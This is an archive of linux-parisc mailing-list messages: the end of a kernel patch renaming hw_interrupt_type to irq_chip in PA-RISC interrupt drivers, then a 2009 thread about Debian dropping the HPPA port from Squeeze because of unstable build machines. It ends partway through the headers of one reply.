Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
---

 arch/parisc/kernel/irq.c |    2 +-
 drivers/parisc/dino.c    |    2 +-
 drivers/parisc/eisa.c    |    2 +-
 drivers/parisc/gsc.c     |    4 ++--
 drivers/parisc/gsc.h     |    2 +-
 drivers/parisc/iosapic.c |    2 +-
 drivers/parisc/superio.c |    2 +-
 7 files changed, 8 insertions(+), 8 deletions(-)

diff -puN arch/parisc/kernel/irq.c~parisc-remove-obsolete-hw_interrupt_type arch/parisc/kernel/irq.c
--- a/arch/parisc/kernel/irq.c~parisc-remove-obsolete-hw_interrupt_type
+++ a/arch/parisc/kernel/irq.c
@@ -144,7 +144,7 @@ static int cpu_set_affinity_irq(unsigned
 }
 #endif
 
-static struct hw_interrupt_type cpu_interrupt_type = {
+static struct irq_chip cpu_interrupt_type = {
 	.typename	= "CPU",
 	.startup	= cpu_startup_irq,
 	.shutdown	= cpu_disable_irq,
diff -puN drivers/parisc/dino.c~parisc-remove-obsolete-hw_interrupt_type drivers/parisc/dino.c
--- a/drivers/parisc/dino.c~parisc-remove-obsolete-hw_interrupt_type
+++ a/drivers/parisc/dino.c
@@ -353,7 +353,7 @@ static unsigned int dino_startup_irq(uns
 	return 0;
 }
 
-static struct hw_interrupt_type dino_interrupt_type = {
+static struct irq_chip dino_interrupt_type = {
 	.typename	= "GSC-PCI",
 	.startup	= dino_startup_irq,
 	.shutdown	= dino_disable_irq,
diff -puN drivers/parisc/eisa.c~parisc-remove-obsolete-hw_interrupt_type drivers/parisc/eisa.c
--- a/drivers/parisc/eisa.c~parisc-remove-obsolete-hw_interrupt_type
+++ a/drivers/parisc/eisa.c
@@ -188,7 +188,7 @@ static unsigned int eisa_startup_irq(uns
 	return 0;
 }
 
-static struct hw_interrupt_type eisa_interrupt_type = {
+static struct irq_chip eisa_interrupt_type = {
 	.typename =	"EISA",
 	.startup =	eisa_startup_irq,
 	.shutdown =	eisa_disable_irq,
diff -puN drivers/parisc/gsc.c~parisc-remove-obsolete-hw_interrupt_type drivers/parisc/gsc.c
--- a/drivers/parisc/gsc.c~parisc-remove-obsolete-hw_interrupt_type
+++ a/drivers/parisc/gsc.c
@@ -148,7 +148,7 @@ static unsigned int gsc_asic_startup_irq
 	return 0;
 }
 
-static struct hw_interrupt_type gsc_asic_interrupt_type = {
+static struct irq_chip gsc_asic_interrupt_type = {
 	.typename =	"GSC-ASIC",
 	.startup =	gsc_asic_startup_irq,
 	.shutdown =	gsc_asic_disable_irq,
@@ -158,7 +158,7 @@ static struct hw_interrupt_type gsc_asic
 	.end =		no_end_irq,
 };
 
-int gsc_assign_irq(struct hw_interrupt_type *type, void *data)
+int gsc_assign_irq(struct irq_chip *type, void *data)
 {
 	static int irq = GSC_IRQ_BASE;
 	struct irq_desc *desc;
diff -puN drivers/parisc/gsc.h~parisc-remove-obsolete-hw_interrupt_type drivers/parisc/gsc.h
--- a/drivers/parisc/gsc.h~parisc-remove-obsolete-hw_interrupt_type
+++ a/drivers/parisc/gsc.h
@@ -38,7 +38,7 @@ struct gsc_asic {
 int gsc_common_setup(struct parisc_device *parent, struct gsc_asic *gsc_asic);
 int gsc_alloc_irq(struct gsc_irq *dev);			/* dev needs an irq */
 int gsc_claim_irq(struct gsc_irq *dev, int irq);	/* dev needs this irq */
-int gsc_assign_irq(struct hw_interrupt_type *type, void *data);
+int gsc_assign_irq(struct irq_chip *type, void *data);
 int gsc_find_local_irq(unsigned int irq, int *global_irq, int limit);
 void gsc_fixup_irqs(struct parisc_device *parent, void *ctrl,
 		void (*choose)(struct parisc_device *child, void *ctrl));
diff -puN drivers/parisc/iosapic.c~parisc-remove-obsolete-hw_interrupt_type drivers/parisc/iosapic.c
--- a/drivers/parisc/iosapic.c~parisc-remove-obsolete-hw_interrupt_type
+++ a/drivers/parisc/iosapic.c
@@ -729,7 +729,7 @@ static int iosapic_set_affinity_irq(unsi
 }
 #endif
 
-static struct hw_interrupt_type iosapic_interrupt_type = {
+static struct irq_chip iosapic_interrupt_type = {
 	.typename =	"IO-SAPIC-level",
 	.startup =	iosapic_startup_irq,
 	.shutdown =	iosapic_disable_irq,
diff -puN drivers/parisc/superio.c~parisc-remove-obsolete-hw_interrupt_type drivers/parisc/superio.c
--- a/drivers/parisc/superio.c~parisc-remove-obsolete-hw_interrupt_type
+++ a/drivers/parisc/superio.c
@@ -325,7 +325,7 @@ static unsigned int superio_startup_irq(
 	return 0;
 }
 
-static struct hw_interrupt_type superio_interrupt_type = {
+static struct irq_chip superio_interrupt_type = {
 	.typename =	SUPERIO,
 	.startup =	superio_startup_irq,
 	.shutdown =	superio_disable_irq,
_
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Luk Claes <luk@debian.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Fri, 12 Jun 2009 08:49:26 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <4A31FA76.20103@debian.org>
References: <20090602140734.GC26721@mx0.halon.org.uk> <20090606183600.GA425@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244789077 21018 80.91.229.12 (12 Jun 2009 06:44:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Jun 2009 06:44:37 +0000 (UTC)
Cc: Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: HPPA porters <debian-hppa@lists.debian.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 12 08:44:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MF0V2-0001PJ-3y
	for glpp-linux-parisc@gmane.org; Fri, 12 Jun 2009 08:44:28 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753034AbZFLGoY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Jun 2009 02:44:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753629AbZFLGoY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 12 Jun 2009 02:44:24 -0400
Original-Received: from mailrelay004.isp.belgacom.be ([195.238.6.170]:56464 "EHLO
	mailrelay004.isp.belgacom.be" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752952AbZFLGoX (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Jun 2009 02:44:23 -0400
X-Belgacom-Dynamic: yes
X-IronPort-Anti-Spam-Filtered: true
X-IronPort-Anti-Spam-Result: AkgCAEqWMUpbs5Nx/2dsb2JhbAAIzyaECwU
Original-Received: from unknown (HELO [192.168.2.7]) ([91.179.147.113])
  by relay.skynet.be with ESMTP; 12 Jun 2009 08:44:24 +0200
User-Agent: Mozilla-Thunderbird 2.0.0.19 (X11/20090103)
In-Reply-To: <20090606183600.GA425@lackof.org>
X-Enigmail-Version: 0.95.0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1735 gmane.linux.debian.ports.hppa:5740 gmane.linux.debian.devel.release:30729
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1735>

Grant Grundler wrote:
> +linux-parisc (hppa kernel, compiler and !debian tech forum)
> 
> Neil,
> thanks for the summary. I know this is an unpleasant business in general.
> 
> On Tue, Jun 02, 2009 at 03:07:35PM +0100, Neil McGovern wrote:
>> Hi,
>>
>> As mentioned previously[0], the release team haven't been happy with the
>> state of the HPPA port in Debian. After the release team meeting[1], it
>> has been decided that unfortunatly HPPA will not be supported for
>> Squeeze. This was after careful consideration, and wasn't an easy
>> decision.
>>
>> This means that ftpmasters will be asked to remove HPPA from testing and
>> unstable from the 30th June. It is suggested that HPPA porters may wish
>> to consider using debian-ports.org if they wish to continue with the
>> port.
>>
>> Regards,
>> Neil McGovern
>>
>> [0] http://lists.debian.org/debian-release/2009/04/msg00299.html
> 
> Carlos O'Donnell asked some questions in response to [0] and I never
> saw any response.  Can an attendee of the above meeting please reply
> this email from Carlos?
>
>     http://lists.debian.org/debian-release/2009/04/msg00303.html

Note that it's wrong to assume we will come with the answers. It's an
extra bad feeling we get that even the people that do respond when there
is a request regarding hppa porters don't know what the issues are...

> I also never got a response to my offer here:
>     http://lists.debian.org/debian-release/2009/04/msg00339.html

There was some discussion with DSA and they didn't seem willing to take
the offer as it would be very restricted regarding access and control
(too strongly firewalled if I remember correctly) for our
administrators. It's rather strange that you did not get any feedback in
that regard.

> And my response again to this question posted in [0]:
>> * The machines that host the buildds still seem to have a very
>> unreliable kernel. Is there any update on this?

It looks like the amount of random crashes has decreased and the amount
of random segfaults has increased, though does not look promising after
more than 2 years already of random issues like this.

> Is upstream stable enough for a buildd?  I don't know since I'm not aware
> of any attempts to run a buildd with those kernels.

Rather recent kernels have been tried and like said above seem to behave
better, but still very much subpar.

> Is the answer to that question still germane?
> If so, I'm willing to setup a local buildd and try it. But I will need
> more time and some commitment that if it works, hppa remain in testing
> release (that's all I personally care about - I don't care about "stable"
> releases.)

That's not how it works. testing is the preparation for the next stable
release, so staying in testing means fixing any important outstanding
porting issue and most importantly the random crashes and segfaults,
actively making sure there are no important issues with the hppa port
within Debian and committing to support the next stable release.

> Can we have the minutes for this meeting?

No, I didn't even get the chance myself to read them. A summary of the
minutes will be posted as usual in the next 'Bits from the Release Team'
though.

> Also, I'd like to ask HPPA debs be kept in "testing" staging area,
> just never promoted when the release is cut.  This will let people
> continue using HPPA without having to suffer with the !hppa breakage
> that lives in unstable.

This will get DSA, maintainers, release team and others keep being
frustrated that hppa issues are making their work harder and will only
be tolerated if there will finally be a clear commitment from the hppa
porters to deal with any present and future important porting issue in a
reasonable time frame.

The main problem we have with hppa is that important porter issues are
not dealt with in a reasonable time frame. The random crashes and
segfaults are lasting for years already!

Note that we do *NOT* intend to drop hppa from unstable, it being
mentioned at all was an unfortunate sign of the deep frustration of some...

Cheers

Luk

Debian Release Manager
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bart Schelstraete <bart@schelstraete.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Fri, 12 Jun 2009 09:53:23 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary=001636c5bf1cbd5a3b046c220024
X-Trace: ger.gmane.org 1244793234 31668 80.91.229.12 (12 Jun 2009 07:53:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Jun 2009 07:53:54 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>, 
	Debian Release <debian-release@lists.debian.org>, admin@debian-ports.org, 
	linux-parisc@vger.kernel.org
To: Luk Claes <luk@debian.org>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Jun 12 09:53:51 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MF1a4-0006IC-Qj
	for debian-hppa@m.gmane.org; Fri, 12 Jun 2009 09:53:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id 4E80A13A5C8E; Fri, 12 Jun 2009 07:53:40 +0000 (UTC)
Old-Return-Path: <bart.schelstraete@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-3.2 required=4.0 tests=FOURLA,HTML_MESSAGE,
	LDO_WHITELIST,SARE_MSGID_LONG40 autolearn=no version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id 81EE113A5C52
	for <lists-debian-hppa@liszt.debian.org>; Fri, 12 Jun 2009 07:53:34 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-5.263 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, HTML_MESSAGE=1, LDO_WHITELIST=-5,
	SARE_MSGID_LONG40=0.637] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id nnBaRtcsP-g5 for <lists-debian-hppa@liszt.debian.org>;
	Fri, 12 Jun 2009 07:53:30 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-bw0-f210.google.com (mail-bw0-f210.google.com [209.85.218.210])
	by liszt.debian.org (Postfix) with ESMTP id 3C8A913A5C50;
	Fri, 12 Jun 2009 07:53:27 +0000 (UTC)
Original-Received: by bwz6 with SMTP id 6so2176290bwz.30
        for <multiple recipients>; Fri, 12 Jun 2009 00:53:25 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type;
        bh=Mw/if/pu4F9i6/DKr4Zi638C5W98Qa4FCddFYJarLME=;
        b=OzIS05QtTHFFP3dIkIl+ENp2pWONfigs4oxgPxbaCSQ8FFmZvU951hGe/y3kHcC3/i
         dQUrcnmA9a47/sFE9pRUgmyWrh0V+gzLBnA35DPS41mTAV76Fd2YvqMY3ojnK+eBzAio
         M3jUoR3rG1jYoEwYXrkuS40mx8qf6P6BENf8I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type;
        b=lqQtNbacgmxxf/6GyY/EP/sxL8QEP2gJHng5O2kUb9ljEtqyd4LHPZza2AwkiKH5k6
         EgGoTBOA2jzDTGPprqLu/EWBF2vBknLWotO5HiG3+8B0wcWsUVyrJ3VaNSU2drdkQuX7
         xVYj2QcFR+TireFIHO+Cck5zp271rZZMObtOc=
Original-Sender: bart.schelstraete@gmail.com
Original-Received: by 10.204.59.14 with SMTP id j14mr3360461bkh.39.1244793203939; Fri, 
	12 Jun 2009 00:53:23 -0700 (PDT)
In-Reply-To: <4A31FA76.20103@debian.org>
X-Google-Sender-Auth: ab5973aef8d1d39d
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <Awq8lIBAPdO.A.4mB.EmgMKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6739
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 12 Jun 2009 07:53:40 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5741 gmane.linux.debian.devel.release:30730 gmane.linux.ports.parisc:1736
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1736>

--001636c5bf1cbd5a3b046c220024
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit

Hello all,

Everybody is talking about the 'random crashes' and 'segfaults' in the HPPA
version.
Over here I'm using the hppa on a small HP-UX workstation, and that has an
uptime of 542 days!.
So it's not that unstable.
I even need to say that I had a lot more crashes with the x86 version then
with the hppa version.


Just to say that I'm personally not so unhappy with deb hppa, and that not
everything is bad.


B

On Fri, Jun 12, 2009 at 8:49 AM, Luk Claes <luk@debian.org> wrote:

>
> The main problem we have with hppa is that important porter issues are
> not dealt with in a reasonable time frame. The random crashes and
> segfaults are lasting for years already!
>
> Note that we do *NOT* intend to drop hppa from unstable, it being
> mentioned at all was an unfortunate sign of the deep frustration of some...
>
>
-- 
Schelstraete Bart
http://www.schelstraete.org
bart@schelstraete.org
Sent from Brussels, Brx, Belgium
Mae West <http://www.brainyquote.com/quotes/authors/m/mae_west.html>  - "I
like restraint, if it doesn't go too far."

--001636c5bf1cbd5a3b046c220024
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable

Hello all,<br><br>Everybody is talking about the &#39;random crashes&#39; a=
nd &#39;segfaults&#39; in the HPPA version.<br>Over here I&#39;m using the =
hppa on a small HP-UX workstation, and that has an uptime of 542 days!.<br>
So it&#39;s not that unstable. <br>I even need to say that I had a lot more=
 crashes with the x86 version then with the hppa version.<br><br><br>Just t=
o say that I&#39;m personally not so unhappy with deb hppa, and that not ev=
erything is bad.<br>
<br><br>B<br><br><div class=3D"gmail_quote">On Fri, Jun 12, 2009 at 8:49 AM=
, Luk Claes <span dir=3D"ltr">&lt;<a href=3D"mailto:luk@debian.org">luk@deb=
ian.org</a>&gt;</span> wrote:<br><blockquote class=3D"gmail_quote" style=3D=
"border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padd=
ing-left: 1ex;">
<br>
The main problem we have with hppa is that important porter issues are<br>
not dealt with in a reasonable time frame. The random crashes and<br>
segfaults are lasting for years already!<br>
<br>
Note that we do *NOT* intend to drop hppa from unstable, it being<br>
mentioned at all was an unfortunate sign of the deep frustration of some...=
<br>
<br>
</blockquote></div><br>-- <br>Schelstraete Bart<br><a href=3D"http://www.sc=
helstraete.org">http://www.schelstraete.org</a><br><a href=3D"mailto:bart@s=
chelstraete.org">bart@schelstraete.org</a><br>Sent from Brussels, Brx, Belg=
ium<br>
<a href=3D"http://www.brainyquote.com/quotes/authors/m/mae_west.html" targe=
t=3D"_blank">Mae West</a> =A0- &quot;I like restraint, if it doesn&#39;t go=
 too far.&quot;

--001636c5bf1cbd5a3b046c220024--



From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bart Schelstraete <bart@schelstraete.org>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release,gmane.linux.ports.parisc
Subject: Re: HPPA and Squeeze
Date: Fri, 12 Jun 2009 09:55:21 +0200
Lines: 44
Approved: news@gmane.org
Message-ID: <9905faa50906120055n2626c787q7c112b9ca1bf1311@mail.gmail.com>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
	 <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1244793341 31952 80.91.229.12 (12 Jun 2009 07:55:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Jun 2009 07:55:41 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>, 
	Debian Release <debian-release@lists.debian.org>, admin@debian-ports.org, 
	linux-parisc@vger.kernel.org
To: debian-hppa@lists.debian.org
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Fri Jun 12 09:55:39 2009
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from liszt.debian.org ([82.195.75.100])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MF1bu-00077Y-Ay
	for debian-hppa@m.gmane.org; Fri, 12 Jun 2009 09:55:38 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with QMQP
	id B7A8E13A5C8C; Fri, 12 Jun 2009 07:55:37 +0000 (UTC)
Old-Return-Path: <bart.schelstraete@gmail.com>
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on liszt.debian.org
X-Spam-Level: 
X-Spam-Status: No, score=-4.1 required=4.0 tests=FOURLA,LDO_WHITELIST,
	MISSING_HEADERS,SARE_MSGID_LONG40 autolearn=failed version=3.2.5
X-Original-To: lists-debian-hppa@liszt.debian.org
Delivered-To: lists-debian-hppa@liszt.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by liszt.debian.org (Postfix) with ESMTP id BCEB313A5C2B
	for <lists-debian-hppa@liszt.debian.org>; Fri, 12 Jun 2009 07:55:31 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-4.971 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MISSING_HEADERS=1.292, SARE_MSGID_LONG40=0.637] autolearn=no
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id eyLT5OpZYnVQ for <lists-debian-hppa@liszt.debian.org>;
	Fri, 12 Jun 2009 07:55:27 +0000 (UTC)
X-policyd-weight: using cached result; rate:hard: -6.9
Original-Received: from mail-bw0-f210.google.com (mail-bw0-f210.google.com [209.85.218.210])
	by liszt.debian.org (Postfix) with ESMTP id 7877213A5C23
	for <debian-hppa@lists.debian.org>; Fri, 12 Jun 2009 07:55:27 +0000 (UTC)
Original-Received: by bwz6 with SMTP id 6so2177163bwz.30
        for <debian-hppa@lists.debian.org>; Fri, 12 Jun 2009 00:55:24 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:cc
         :content-type:content-transfer-encoding;
        bh=LAhk9hq1ZiKUiyvqLPIc/ACmuTZDJiCxqkaacjGmp8k=;
        b=pCLJpyB77iMiTTSxkx1YbV1m2IfJ1oJcNyKLacHZNOPtPgQwAkCyQCJPdMV0Zt0eVY
         2LLIDqqqK9SAFgbj6BG3C8yR0ut6rhW8/dCOOkw7NRf8IpMyR8pU+mRWLummD5Og3O0r
         f/mH0NZr9lMqcUevO3+qBb7YWTwLY9fvwe7tg=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:cc:content-type
         :content-transfer-encoding;
        b=Tqe4gSO7dIyOs1D0lvqx1VqU/z0zAXXnA23B6TtLStHCku3KxZMmIJkZmOKlUJqdEl
         r2Bd/qwifzCVJ+1IRB3LmiCbnaRt2tg3BKZ3s0FuWw8imD7LX3z/XY+lLvLxx3M8zaDd
         8LmNOl4C2L9myna8zjD9DTz3f6UE4VPT5cl88=
Original-Sender: bart.schelstraete@gmail.com
Original-Received: by 10.204.116.69 with SMTP id l5mt4627102bkq.102.1244793323081; Fri, 
	12 Jun 2009 00:55:23 -0700 (PDT)
In-Reply-To: <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com>
X-Google-Sender-Auth: bfd03e6fdd379a05
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <Q6Xm-1BCpvD.A.X7B.5ngMKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/6740
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Fri, 12 Jun 2009 07:55:37 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:5742 gmane.linux.debian.devel.release:30731 gmane.linux.ports.parisc:1737
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1737>

 Hello all,

 Everybody is talking about the 'random crashes' and 'segfaults' in
the HPPA version.
 Over here I'm using the hppa on a small HP-UX workstation, and that
has an uptime of 542 days!.
 So it's not that unstable.
 I even need to say that I had a lot more crashes with the x86 version
then with the hppa version.


 Just to say that I'm personally not so unhappy with deb hppa, and
that not everything is bad.


 B

> On Fri, Jun 12, 2009 at 8:49 AM, Luk Claes <luk@debian.org> wrote:
>>
>> The main problem we have with hppa is that important porter issues are
>> not dealt with in a reasonable time frame. The random crashes and
>> segfaults are lasting for years already!
>>
>> Note that we do *NOT* intend to drop hppa from unstable, it being
>> mentioned at all was an unfortunate sign of the deep frustration of some=
...
>>
>
> --
> Schelstraete Bart
> http://www.schelstraete.org
> bart@schelstraete.org
> Sent from Brussels, Brx, Belgium
> Mae West =A0- "I like restraint, if it doesn't go too far."


--
Schelstraete Bart
http://www.schelstraete.org
bart@schelstraete.org
Sent from Brussels, Brx, Belgium
Erma Bombeck =A0- "Never have more children than you have car windows."



From - Thu Nov 08 21:04:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.release
Subject: Re: HPPA and Squeeze
Date: Fri, 12 Jun 2009 09:16:25 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <1244816185.4184.3.camel@mulgrave.site>
References: <20090602140734.GC26721@mx0.halon.org.uk>
	 <20090606183600.GA425@lackof.org> <4A31FA76.20103@debian.org>
	 <9905faa50906120053u3f58af9fubac865a921ff4eaa@mail.gmail.com>
	 <9905faa50906120055n2626c787q7c112b9ca1bf1311@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1244816203 3618 80.91.229.12 (12 Jun 2009 14:16:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 12 Jun 2009 14:16:43 +0000 (UTC)
Cc: HPPA porters <debian-hppa@lists.debian.org>,
	Debian Release <debian-release@lists.debian.org>,
	admin@debian-ports.org, linux-parisc@vger.kernel.org
To: Bart Schelstraete <bart@schelstraete.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jun 12 16:16:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MF7YZ-0004LW-Vh
	for glpp-linux-parisc@gmane.org; Fri, 12 Jun 2009 16:16:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751384AbZFLOQ1 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 12 Jun 2009 10:16:27 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753923AbZFLOQ1
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 12 Jun 2009 10:16:27 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:33393 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751384AbZFLOQ0 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 12 Jun 2009 10:16:26 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 79D168EE137;
	Fri, 12 Jun 2009 07:16:29 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id RBMM4-zgoZ24; Fri, 12 Jun 2009 07:16:29 -0700 (PDT)
Original-Received: from [192.168.10.224] (newmulgrave.ext.hansenpartnership.com [192.168.10.224])
